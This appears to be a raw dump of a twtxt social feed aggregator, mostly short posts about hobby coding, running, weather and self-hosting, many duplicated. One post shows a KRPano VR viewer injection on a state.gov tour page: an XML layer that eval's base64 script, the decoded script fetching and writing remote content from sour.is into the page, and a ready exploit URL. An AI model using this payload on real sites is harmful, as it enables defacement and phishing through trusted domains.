# I am the Watcher. I am your guide through this vast new twtiverse.
# 
# Usage:
#     https://watcher.sour.is/api/plain/users              View list of users and latest twt date.
#     https://watcher.sour.is/api/plain/twt                View all twts.
#     https://watcher.sour.is/api/plain/mentions?uri=:uri  View all mentions for uri.
#     https://watcher.sour.is/api/plain/conv/:hash         View all twts for a conversation subject.
# 
# Options:
#     uri     Filter to show a specific users twts.
#     offset  Start index for quey.
#     limit   Count of items to return (going back in time).
# 
# twt range = 1 235518
# self = https://watcher.sour.is?offset=229636
# next = https://watcher.sour.is?offset=229736
# prev = https://watcher.sour.is?offset=229536
Social media should be built on protocols, not platforms: https://open.spotify.com/episode/1goTb7epesVmdNj6M88VK0
loveable.dev is a super app developing app.
@kat That was https://git.mills.io/prologic/sshbox
@kat That was https://git.mills.io/prologic/sshbox
@aelaraji Fuck sorry!
@aelaraji Fuck sorry!
I'm refactoring (mangling four lines of of code with assignments into one function call) and man, do I love vim macros! <3 Such a bloody amazing invention. Saves me heaps of manual labor.
@prologic Just in case... the git link is missing a c in prologic
@prologic Just in case... the git link is missing a c in prologic
Specifically those around 2:50min, 6:15min, 11:00min, 28:40min and 33:40min. :-)
[47°09′14″S, 126°43′26″W] Transponder jammed
@kat Cool, cool, congrats! I skipped around and noticed that you used some great background music. Do you have a list for me to look up? :-) Also, that's a nice desktop wallpaper in the end.
@movq Woohoo! You selected a turing complete instruction set, so all good. ;-)
@suitechic It's the exact opposite for me. :-)
@bender I always schedule the next appointment right away. :-) Yeah, over here, it's just winter. Nothing really surprising. But it gets us every time. I prefer the ice over the the fire for sure.

@movq That was the only time I left the house today.
@lyse I read it in the news, lots of ice in your area. 🫤 (There’s nothing going on over here.)
@lyse I read it in the news, lots of ice in your area. 🫤 (There’s nothing going on over here.)
@lyse I read it in the news, lots of ice in your area. 🫤 (There’s nothing going on over here.)
@lyse I read it in the news, lots of ice in your area. 🫤 (There’s nothing going on over here.)
Alright, I have a little 8086 assembler for my toy OS going now – or rather a proof-of-concept thereof. It only supports a tiny fraction of the instruction set. It was an interesting learning experience, but I don’t think trying to “complete” this program is worth my time.

The whole thing is just a learning project, I don’t want to actually make a usable OS. There are a few more things I want to have a look at and then I’ll eventually move on to 386/amd64 later this year (hopefully).

https://movq.de/v/d8f30cbe75/vid3.mp4
Alright, I have a little 8086 assembler for my toy OS going now – or rather a proof-of-concept thereof. It only supports a tiny fraction of the instruction set. It was an interesting learning experience, but I don’t think trying to “complete” this program is worth my time.

The whole thing is just a learning project, I don’t want to actually make a usable OS. There are a few more things I want to have a look at and then I’ll eventually move on to 386/amd64 later this year (hopefully).

https://movq.de/v/d8f30cbe75/vid3.mp4
Alright, I have a little 8086 assembler for my toy OS going now – or rather a proof-of-concept thereof. It only supports a tiny fraction of the instruction set. It was an interesting learning experience, but I don’t think trying to “complete” this program is worth my time.

The whole thing is just a learning project, I don’t want to actually make a usable OS. There are a few more things I want to have a look at and then I’ll eventually move on to 386/amd64 later this year (hopefully).

https://movq.de/v/d8f30cbe75/vid3.mp4
Alright, I have a little 8086 assembler for my toy OS going now – or rather a proof-of-concept thereof. It only supports a tiny fraction of the instruction set. It was an interesting learning experience, but I don’t think trying to “complete” this program is worth my time.

The whole thing is just a learning project, I don’t want to actually make a usable OS. There are a few more things I want to have a look at and then I’ll eventually move on to 386/amd64 later this year (hopefully).

https://movq.de/v/d8f30cbe75/vid3.mp4
@lyse you just reminded me I need to schedule a visit to the Tooth Fairy. 😅

About the weather, ugh! Crazy the world we live in. Our west coast is engulfed on fires, and the other side of the world is pretty much freezing. You can't make this up!
[47°09′11″S, 126°43′39″W] Raw reading: 0x6787E991, offset +/-2
Taking care of a sick puppy is a full time job I am *not* qualified for
@kat super cute so far!
@kat oh hey that's really neat!
kat you're an icon (btw i love your new icon!)
i missed web design but i did not miss coding
Mais uma palestra sobre Inteligência Artificial e Filosofia
Mais uma palestra sobre Inteligência Artificial e Filosofia
From time to time, on #openbsd, you may run 'bioctl -P sd2' to change your Full Disk Encryption passphrase ;)
From time to time, on #openbsd, you may run 'bioctl -P sd2' to change your Full Disk Encryption passphrase ;)
Thx @sorenpeter. Yepp, Yellow CMS is great! I stumbled across your extension and became aware of Twtxt and Timeline. Now I'm onto building my own little TwtxtReader.
@arne nice work with the client.
I also see you are using the Yellow CMS for your website🍋
@arne nice work with the client.
I also see you are using the Yellow CMS for your website🍋
@arne nice work with the client.
I also see you are using the Yellow CMS for your website🍋
@arne nice work with the client.
I also see you are using the Yellow CMS for your website🍋
[47°09′38″S, 126°43′22″W] Raw reading: 0x6787A341, offset +/-3
@arne Haha nice one 😆
@arne Haha nice one 😆
Thank you @prologic , I'm pleased to be a little "thread" in the ball of yarn (Twtxt).
Pinellas County - 5 miles: 5.06 miles, 00:09:02 average pace, 00:45:41 duration
a lot of saliva collected in my mouth about half a mile in. swallowed and it caused me to choke. the rest of the run had a tickle in my throat. run was pretty good just ran too quick i guess.
#running
Pinellas County - 5 miles: 5.06 miles, 00:09:02 average pace, 00:45:41 duration
a lot of saliva collected in my mouth about half a mile in. swallowed and it caused me to choke. the rest of the run had a tickle in my throat. run was pretty good just ran too quick i guess.
#running
Pinellas County - 5 miles: 5.06 miles, 00:09:02 average pace, 00:45:41 duration
a lot of saliva collected in my mouth about half a mile in. swallowed and it caused me to choke. the rest of the run had a tickle in my throat. run was pretty good just ran too quick i guess.
#running
@andros Created. Can you try logging in via Github? I had to take a stab/guess at your Email address, which is very clearly wrong, but hopefully you an just update it when you login 🤣🤣
@andros Created. Can you try logging in via Github? I had to take a stab/guess at your Email address, which is very clearly wrong, but hopefully you an just update it when you login 🤣🤣
envie de coder... J'ai un bout de C pour renommer les fichiers que je voudrais continuer. Vivement qu'il y ait moins de boulot et de soucis pour réussir à me concentrer!
envie de coder... J'ai un bout de C pour renommer les fichiers que je voudrais continuer. Vivement qu'il y ait moins de boulot et de soucis pour réussir à me concentrer!
@prologic My account is @tanrax . Thanks!
@prologic My account is @tanrax . Thanks!
@prologic My account is @tanrax . Thanks!
Actually. it's probably fine if you just drop your Github username/profile here. They're all public info anyway 🤣🤣
Actually. it's probably fine if you just drop your Github username/profile here. They're all public info anyway 🤣🤣
@andros I _believe_ I disabled new registrations by default due to increase in levels of "spam accounts". If you could email me, or DM me (IRC) your Github username, I'll add an account for you that matches your Github profile and you can sign-in that way.

Respectfully, I will not move any of my projects back to Github after this blog post; hope you can understand, but I'd prefer to stick to my moral values here as much as I can 😅
@andros I _believe_ I disabled new registrations by default due to increase in levels of "spam accounts". If you could email me, or DM me (IRC) your Github username, I'll add an account for you that matches your Github profile and you can sign-in that way.

Respectfully, I will not move any of my projects back to Github after this blog post; hope you can understand, but I'd prefer to stick to my moral values here as much as I can 😅
@prologic I can't register with GitHub, nor make Pull Requests. Would it be possible to enable this? Maybe this repository could be on GitHub to promote it and increase collaboration.
@prologic I can't register with GitHub, nor make Pull Requests. Would it be possible to enable this? Maybe this repository could be on GitHub to promote it and increase collaboration.
@prologic I can't register with GitHub, nor make Pull Requests. Would it be possible to enable this? Maybe this repository could be on GitHub to promote it and increase collaboration.
Walking those few hundred meters to the dentist and home took me at least three times as long as usual. Complete sheets of ice on the footpaths, definitely ice skating territory. The dentist was caught in a traffic jam and arrived about an hour late. On my morning journey I saw two ambulance operations, one on the way there and the other one when I returned. Just 200m apart. I fear it's going to be an exhausting day for all the rescue personell.
@kat Any ideas of the volume coming out of their RSS feed? 🤔
@kat Any ideas of the volume coming out of their RSS feed? 🤔
@kat Now you just need to front this with sshbox and protect your precious little SSh resource 💪
@kat Now you just need to front this with sshbox and protect your precious little SSh resource 💪
Found a pretty interesting emulation tool https://github.com/renode/renode
[47°09′56″S, 126°43′19″W] 4290 days without news from Herve
@xuu Haha, that's cool! Be careful with reporting or they might sue you to death.
@xuu Haha 🤣🤣🤣
@xuu Haha 🤣🤣🤣
@kat (they migrated their image backend from a deprecated third party plugin to a first party feature. which i did on the same codebase last summer with no knowledge of rails lol)
@kat (they migrated their image backend from a deprecated third party plugin to a first party feature. which i did on the same codebase last summer with no knowledge of rails lol)
laughing my ass off rn because ao3 the fanfic website deployed a big change that i did on my own site months ago. i am a PIONEER!!!!!!!!!!
laughing my ass off rn because ao3 the fanfic website deployed a big change that i did on my own site months ago. i am a PIONEER!!!!!!!!!!
[47°09′19″S, 126°43′29″W] Saalmi, retransmit, please
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following


<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>



the omit above is base64 encoded script below:



const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');


this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
Nice! totally legit government page: https://tour.diplomaticrooms.state.gov/?id=0&xml=https://sour.is/awesome.html
oh also out of boredom i hosted glance even though i have no need for a dashboard lol. it's really cute though
oh also out of boredom i hosted glance even though i have no need for a dashboard lol. it's really cute though
i self hosted the soft serve git server cuz i felt like it. it's sooo cute i love everything charm CLI does

ssh -p 24010 soft.git.girlonthemoon.xyz
i self hosted the soft serve git server cuz i felt like it. it's sooo cute i love everything charm CLI does

ssh -p 24010 soft.git.girlonthemoon.xyz
@kat sticker status!!!!!
@kat sticker status!!!!!
@kat I DID END UP PUTTING IT TOGETHER BTW AND I VLOGGED IT (https://memoria.sayitditto.net/view?m=fGvHAMJvq) AND I LOVE IT SOOO MUCH
@kat I DID END UP PUTTING IT TOGETHER BTW AND I VLOGGED IT (https://memoria.sayitditto.net/view?m=fGvHAMJvq) AND I LOVE IT SOOO MUCH
@kingdomcome all me hahah! thank you <3
@kingdomcome all me hahah! thank you <3
@kingdomcome hey irene!!!!!!!!!!!!! i'm vibing rn
@kingdomcome hey irene!!!!!!!!!!!!! i'm vibing rn
they're not an all encompassing site but 404media.co do some great tech reporting, their RSS feed is here
they're not an all encompassing site but 404media.co do some great tech reporting, their RSS feed is here
@bender Yeah I think I follow the Hacker News top N feed already. So taht's fine.
@bender Yeah I think I follow the Hacker News top N feed already. So taht's fine.
Well it imported nicely into the feeds service, so I'll give it a try 👌
Well it imported nicely into the feeds service, so I'll give it a try 👌
@ hehehe, it is not streamlined as you want it. Feedly and an amalgam of news sites, prioritising BBC, NPR, and The Guardian.

Tech news on Hacker News, some subs on Reddit, etc.
@kingdomcome Hey 👋 Ya know, working, etc 🤣
@kingdomcome Hey 👋 Ya know, working, etc 🤣
@bender What's the other ?🤔
@bender What's the other ?🤔